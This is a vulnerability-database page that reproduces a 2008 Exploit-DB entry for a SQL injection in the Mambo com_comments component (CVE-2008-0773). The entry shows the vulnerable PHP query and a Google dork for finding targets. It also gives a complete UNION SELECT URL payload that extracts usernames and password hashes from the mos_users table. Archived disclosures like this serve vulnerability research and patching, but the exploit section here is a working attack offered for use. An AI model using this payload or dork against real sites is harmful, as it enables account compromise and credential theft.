Lucene search
+L

Mambo Component Comments 0.5.8.5g - SQL Injection

🗓️ 09 Feb 2008 00:00:00Reported by CheebaHawk215Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 37 Views

Mambo Component Comments 0.5.8.5g - SQL Injection vulnerability in com_comments componen

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2008-0773
13 Feb 200823:00
cve
cvelist
Cvelist
CVE-2008-0773
13 Feb 200823:00
cvelist
euvd
EUVD
EUVD-2008-0783
7 Oct 202500:30
euvd
nvd
NVD
CVE-2008-0773
14 Feb 200800:00
nvd
prion
Prion
Sql injection
14 Feb 200800:00
prion
#########################################################
##
##  Mambo SQL Injection (com_comments)
##
##	Version Affected:  <=  0.5.8.5g
##  Author: CheebaHawk215
##  Home page: http://www.always420forum.com
##
#########################################################
##
## 	Dork: "Review Script", "Phil Taylor"
##
#########################################################
##
##	Vulnerable Code:
##
##########################################################


$pt_query = "SELECT * FROM mos_content_comments where articleid=$id AND published=1 order by id DESC";


#########################################################
##
##   Exploit:
##
#########################################################


http://site.com/index.php?option=com_comments&task=view&id=-1+UNION+SELECT+0,999999,concat(username,0x3a,PASSWORD),0,0,0,0,0,0+FROM+mos_users+union+select+*+from+mos_content_comments+where+1=1



## This is my first exploit!
## thanks to all who came before me, and enabled me to learn from their efforts!

# milw0rm.com [2008-02-09]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation